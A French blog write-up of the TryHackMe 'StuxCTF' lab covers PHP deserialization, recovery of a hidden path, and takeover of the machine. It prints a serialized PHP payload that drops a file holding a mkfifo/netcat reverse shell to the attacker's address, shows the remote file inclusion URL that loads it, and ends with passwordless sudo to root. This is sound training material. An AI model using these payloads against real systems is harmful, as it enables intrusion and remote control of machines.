Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux

Chers tous, aujourd’hui nous avons une nouvelle cible dont nous devons prendre le contrôle. Cette cible est la machine Stuxctf de TryHackme.

Stuxctf est une machine de niveau moyen de tryhackme qui nous permettra d’apprendre un peu plus sur la sérialisation et la dé-sérialisation d’un objet en php et comment les exploiter pour prendre le contrôle d’une machine .

Qu’est ce que la Sérialisation et dé-sérialisation en PHP ?

Voici ce qu’en dit wikipedia, tout d’abord la sérialisation:

C’est le codage d’une information sous la forme d’une suite d’informations plus petites pour, par exemple, sa sauvegarde (persistance) ou son transport sur le réseau (proxy, RPC…).

L’activité réciproque, visant à décoder cette suite pour créer une copie conforme de l’information d’origine, s’appelle la dé-sérialisation.

Wikipedia

En php, la méthode utilisée pour sérialiser les données est serialize() et pour la désérialisation unserialize().

serialize génère une représentation stockable d’une valeur, cela permet de stocker ou passer des valeurs PHP entre scripts, sans perdre leur structure ni leur type. unserialize crée une variable PHP à partir d’une valeur linéarisée.

StuxCTF – Reconnaissance

Après le démarrage de la machine et l’obtention de l’adresse ip nous lançons le scan de port avec nmap. Vous connaissez la musique maintenant…

Selon les résultats du scan de port nous avons deux ports ouverts le port http et le port ssh.

StuxCTF – Énumération

Nous continuons ensuite en entrant l’adresse ip de la machine dans le navigateur ce qui nous amène sur une page blanche .

Nous avons ensuite consulté le code source de la page, ce qui nous a permis d’avoir des informations qui ont été cachées dans le code source.

Selon les informations contenues dans le code, il existe un répertoire secret dont le chemin est encodé. Après des recherches, nous avons découvert que c’est le protocole d’échange de clés Diffie-Hellman qui est utilisé pour encoder le répertoire. Ce qui nous a permis de trouver un script pour décrypter le chemin.

Voici le script en question…

import math

c = 0
p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g = 7
a = 330
b = 450
gc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

gca = (gc**a) % p
gcab = (gca**b) % p

print(str(gcab)[:128])

Après l’exécution du script, nous obtenons le chemin vers le répertoire secret.

Nous accédons ensuite au répertoire.

Rien d’intéressant, nous allons alors chercher du côté du code source. De ce côté, nous découvrons un nouvel indice.

Notre nouvel indice est /?file=. Nous essayons comme valeur index.php et nous obtenons une valeur encode en hexadécimal. Après le décodage de la valeur, nous obtenons une chaîne de caractère encodé en base64 qui a été inversé. Nous le décodons après avoir inversé la chaîne de caractère.

Cyberchef à la rescousse

Tout cela a été fait sur cyberchef qui est une application Web simple et intuitive pour analyser et décoder des données sans avoir à gérer des outils complexes ou des langages de programmation.

Le résultat final est le code suivant:

 error_reporting(0);
 class file {
         public $file = "dump.txt";
         public $data = "dump test";
         function __destruct(){
                 file_put_contents($this->file, $this->data);
         }
 }

 $file_name = $_GET['file'];
 if(isset($file_name) && !file_exists($file_name)){
         echo "File no Exist!";
 }
 if($file_name=="index.php"){
         $content = file_get_contents($file_name);
         $tags = array("", "");
         echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
 }
 unserialize(file_get_contents($file_name));

On dirait bien que c’est le code source de index.php.

Essayons de comprendre son fonctionnement. Tout d’abord, il vérifiera l’entrée du nom de fichier à partir de /?file = , si c’est index.php , il encodera l’index.php dans la chaîne ci-dessus et l’imprimera. Mais si le nom du fichier d’entrée est tout le reste mais pas index.php, il affichera ” File no Exist! “.

Cependant, regardez la ligne ” unserialize “, c’est une faille de ce code php. Il désérialise tous les fichiers téléchargés sur le serveur. Nous avons ensuite écrit du code simple en php qui nous permet avoir un shell sur la machine.

<?php
class file 
{

	public $file = 'shell.php';
	public $data = "<?php echo exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.9.70 4444 >/tmp/f') ?>";
}

$serial = serialize(new file);
print $serial;
print("\n");
?>

Nous sérialisons ensuite le code avec la commande php shell.php

Nous allons ensuite uploader shell.txt sur le serveur. Pour le faire nous allons démarrer un serveur sur notre machine avec la commande

python3 -m http.server 8888

Ensuite, ce sera upload du fichier grâce à cet url.

http://10.10.144.116/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/?file=http://10.8.9.70:8888/shell.txt

Après l’upload du fichier nous naviguons vers celui en résultat qui sera désormais shell.php après la désérialisation.

Bien avant ça, nous avons démarré l’écoute sur le port qui a été spécifié dans le code php à l’aide de netcat.

Boom! nous avons notre shell et le flag de l’utilisateur.

Essayons ensuite un sudo -l pour voir le résultat.

Un peu trop facile n’est ce pas? Nous pouvons exécuter toutes les commandes en tant sudo sans mot de passe. Nous pouvons directement avoir le flag du root avec la commande sudo cat /root/root.txt ou nous nous authentifions en tant que root avec la commande avec la commande sudo su .

Nous avons enfin pris le contrôle de la machine.

Conclusion

Grâce à cette machine, nous avons vu comment la désérialisation non sécurisée entraîne la prise de contrôle d’une machine. Cela nous amène donc à conclure que la désérialisation est un processus qui doit être bien étudié avant d’être mis en place et doit reposer sur des normes de sécurité.

J’espère que cet article vous sera utile et qu’il vous a permis d’apprendre des nouvelles astuces.

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.